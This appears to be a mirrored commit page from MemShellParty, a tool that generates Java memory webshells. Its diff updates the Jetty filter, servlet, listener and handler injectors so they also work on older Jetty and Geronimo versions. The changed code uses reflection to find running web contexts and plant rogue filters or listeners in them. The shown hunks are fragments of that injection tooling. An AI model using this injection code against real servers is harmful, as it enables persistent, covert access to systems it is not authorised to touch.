archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-22 07:00:43 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

test: add Geronimo/Jetty 7.1 cases

Browse Source
This commit is contained in:
ReaJason
2026-06-28 21:22:31 +08:00
parent 416f2d5593
commit 404d62c6ef
14 changed files with 290 additions and 60 deletions
Download Patch File Download Diff File Expand all files Collapse all files
generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java
+14 -19
View File
@@ -6,6 +6,7 @@ import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.*;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
@@ -130,7 +131,16 @@ public class JettyFilterInjector {
}
newMappings[0] = filterMapping;
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
invokeMethod(servletHandler, "invalidateChainsCache");
try {
invokeMethod(servletHandler, "invalidateChainsCache");
} catch (NoSuchMethodException e) {
Map[] _chainCache = (Map[]) getFieldValue(servletHandler, "_chainCache");
if (_chainCache != null) {
for (Map cache : _chainCache) {
if (cache != null) cache.clear();
}
}
}
}
@Override
@@ -176,29 +186,14 @@ public class JettyFilterInjector {
try {
Object target = getFieldValue(thread, "target");
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
java.util.Map hostConfigs = (java.util.Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
java.util.Iterator _it3 = hostConfigs.values().iterator();
while (_it3.hasNext()) {
java.util.Map apps = (java.util.Map) getFieldValue(_it3.next(), "webapps");
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
for (Object o : hostConfigs.values()) {
Map apps = (Map) getFieldValue(o, "webapps");
contexts.addAll(apps.values());
}
}
} catch (Throwable ignored) {
}
// Geronimo-Jetty
try {
java.util.Map map = (java.util.Map) getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "listener"), "kernel"), "registry"), "instanceRegistry");
java.util.Iterator _it2 = map.keySet().iterator();
while (_it2.hasNext()) {
Object object = _it2.next();
if (object.getClass().getName().equals("org.apache.geronimo.jetty7.WebAppContextWrapper")) {
contexts.add(getFieldValue(object, "webAppContext"));
}
}
} catch (Throwable ignored) {
}
}
return contexts;
}
generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java
+2 -1
View File
@@ -110,7 +110,8 @@ public class JettyHandlerInjector {
if (entry != null) {
Object threadLocalValue = getFieldValue(entry, "value");
if (threadLocalValue != null) {
if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
if (threadLocalValue.getClass().getName().contains("HttpConnection")
|| threadLocalValue.getClass().getName().contains("SelectChannelConnector")) {
return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer");
}
}
generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java
+4 -22
View File
@@ -8,10 +8,7 @@ import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.EventListener;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.*;
import java.util.zip.GZIPInputStream;
/**
@@ -106,29 +103,14 @@ public class JettyListenerInjector {
try {
Object target = getFieldValue(thread, "target");
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
java.util.Map hostConfigs = (java.util.Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
java.util.Iterator _it3 = hostConfigs.values().iterator();
while (_it3.hasNext()) {
java.util.Map apps = (java.util.Map) getFieldValue(_it3.next(), "webapps");
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
for (Object o : hostConfigs.values()) {
Map apps = (Map) getFieldValue(o, "webapps");
contexts.addAll(apps.values());
}
}
} catch (Throwable ignored) {
}
// Geronimo-Jetty
try {
java.util.Map map = (java.util.Map) getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "listener"), "kernel"), "registry"), "instanceRegistry");
java.util.Iterator _it2 = map.keySet().iterator();
while (_it2.hasNext()) {
Object object = _it2.next();
if (object.getClass().getName().equals("org.apache.geronimo.jetty7.WebAppContextWrapper")) {
contexts.add(getFieldValue(object, "webAppContext"));
}
}
} catch (Throwable ignored) {
}
}
return contexts;
}
generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java
+4 -17
View File
@@ -6,6 +6,7 @@ import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.*;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
@@ -114,29 +115,15 @@ public class JettyServletInjector {
try {
Object target = getFieldValue(thread, "target");
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
java.util.Map hostConfigs = (java.util.Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
java.util.Iterator _it3 = hostConfigs.values().iterator();
while (_it3.hasNext()) {
java.util.Map apps = (java.util.Map) getFieldValue(_it3.next(), "webapps");
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
for (Object o : hostConfigs.values()) {
Map apps = (Map) getFieldValue(o, "webapps");
contexts.addAll(apps.values());
}
}
} catch (Throwable ignored) {
}
// Geronimo-Jetty
try {
java.util.Map map = (java.util.Map) getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "listener"), "kernel"), "registry"), "instanceRegistry");
java.util.Iterator _it2 = map.keySet().iterator();
while (_it2.hasNext()) {
Object object = _it2.next();
if (object.getClass().getName().equals("org.apache.geronimo.jetty7.WebAppContextWrapper")) {
contexts.add(getFieldValue(object, "webAppContext"));
}
}
} catch (Throwable ignored) {
}
}
return contexts;
}
generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java
+4 -1
View File
@@ -33,7 +33,10 @@ public class JettyWriter {
continue;
}
Object value = getFieldValue(entry, "value");
if (value != null && value.getClass().getName().endsWith("HttpConnection")) {
if (value != null && (
value.getClass().getName().endsWith("HttpConnection")
|| value.getClass().getName().contains("SelectChannelConnector")
)) {
Object response;
Object request;
try {